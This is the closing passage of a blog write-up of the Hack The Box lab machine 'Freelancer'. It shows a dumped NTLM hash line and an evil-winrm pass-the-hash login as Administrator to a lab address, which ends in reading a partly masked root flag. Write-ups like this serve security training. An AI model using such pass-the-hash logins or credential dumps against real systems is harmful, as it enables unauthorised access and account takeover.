ATTACKER$:12101:aad3b435b51404eeaad3b435b51404ee:e355cdee7fcdb3cf942227dcba8bc83a:::
[*] Cleaning up...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/impacket/examples]
└─$ evil-winrm -i 10.129.160.22  -u Administrator -H 0039318f1e8274633445bce32ad1a290
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../desktop/root.txt
b943b3e777fcf3******************
*Evil-WinRM* PS C:\Users\Administrator\Documents>

That was it for Freelancer, especially as it was my first time dealing with MemProcFS. It was so fun.
Thanks for reading!
-0xkujen

  • Title: Hackthebox: Freelancer
  • Author: Foued SAIDI
  • Created at : 2024-10-04 17:17:18
  • Updated at : 2024-10-05 18:50:20
  • Link: https://kujen5.github.io/2024/10/04/Hackthebox-Freelancer/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
Hackthebox: Freelancer
  1. Overview
  2. Reconnaissance
  3. Web Application - http://freelancer.htb/
  4. Shell as freelancer\sql_svc
  5. Privilege Escalation to Administrator